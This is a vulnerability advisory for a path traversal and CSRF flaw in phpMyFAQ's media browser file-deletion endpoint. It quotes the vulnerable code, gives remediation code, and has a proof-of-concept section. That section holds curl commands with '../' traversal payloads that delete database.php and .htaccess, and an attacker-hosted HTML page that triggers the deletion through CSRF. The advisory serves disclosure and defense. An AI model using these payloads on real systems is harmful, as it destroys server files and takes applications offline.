CVE-2026-34728

### Summary The `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`&`, `'`, `"`, `<`, `>`) and characters with ASCII value < 32, and does not prevent directory traversal sequences like `../`. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks. ### Details **Affected File:** `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php` **Lines 43-66:** ```php #[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])] public function index(Request $request): JsonResponse|Response { $this->userHasPermission(PermissionType::FAQ_EDIT); // ... $data = json_decode($request->getContent()); $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS); if ($action === 'fileRemove') { $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS); $file = PMF_CONTENT_DIR . '/user/images/' . $file; if (file_exists($file)) { unlink($file); } // Returns success without checking if deletion was within intended directory } } ``` **Root Causes:** 1. **No path traversal prevention:** `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters. 2. **No CSRF protection:** The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48. 3. **No basename() or realpath() validation:** The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory. 4. **HTTP method mismatch:** The route is defined as `methods: ['GET']` but reads the request body via `$request->getContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests. **Comparison with secure implementation in the same codebase:** The `ImageController::upload()` method (same directory) properly validates file names: ```php if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) { // Rejects files with path traversal sequences } ``` The `FilesystemStorage::normalizePath()` method also properly validates paths: ```php foreach ($segments as $segment) { if ($segment === '..' || $segment === '') { throw new StorageException('Invalid storage path.'); } } ``` ### PoC **Direct exploitation (requires authenticated admin session):** ```bash # Delete the database configuration file curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=valid_admin_session' \ -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}' # Delete the .htaccess file to disable Apache security rules curl -X GET 'https://target.example.com/admin/api/media-browser' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=valid_admin_session' \ -d '{"action":"fileRemove","name":"../../../.htaccess"}' ``` **CSRF exploitation (attacker hosts this HTML page):** ```html <html> <body> <script> fetch('https://target.example.com/admin/api/media-browser', { method: 'GET', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ action: 'fileRemove', name: '../../../content/core/config/database.php' }), credentials: 'include' }); </script> </body> </html> ``` When an authenticated admin visits the attacker's page, the database configuration file (`database.php`) is deleted, effectively taking down the application. ### Impact - **Server compromise:** Deleting `content/core/config/database.php` causes total application failure (database connection loss). - **Security bypass:** Deleting `.htaccess` or `web.config` can expose sensitive directories and files. - **Data loss:** Arbitrary file deletion on the server filesystem. - **Chained attacks:** Deleting log files to cover tracks, or deleting security configuration files to weaken other protections. ### Remediation 1. **Add path traversal validation:** ```php if ($action === 'fileRemove') { $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS)); $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file); $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images'); if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) { return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST); } if (file_exists($targetPath)) { unlink($targetPath); } } ``` 2. **Add CSRF protection:** ```php if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) { return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED); } ``` 3. **Change HTTP method to POST or DELETE** to align with proper HTTP semantics.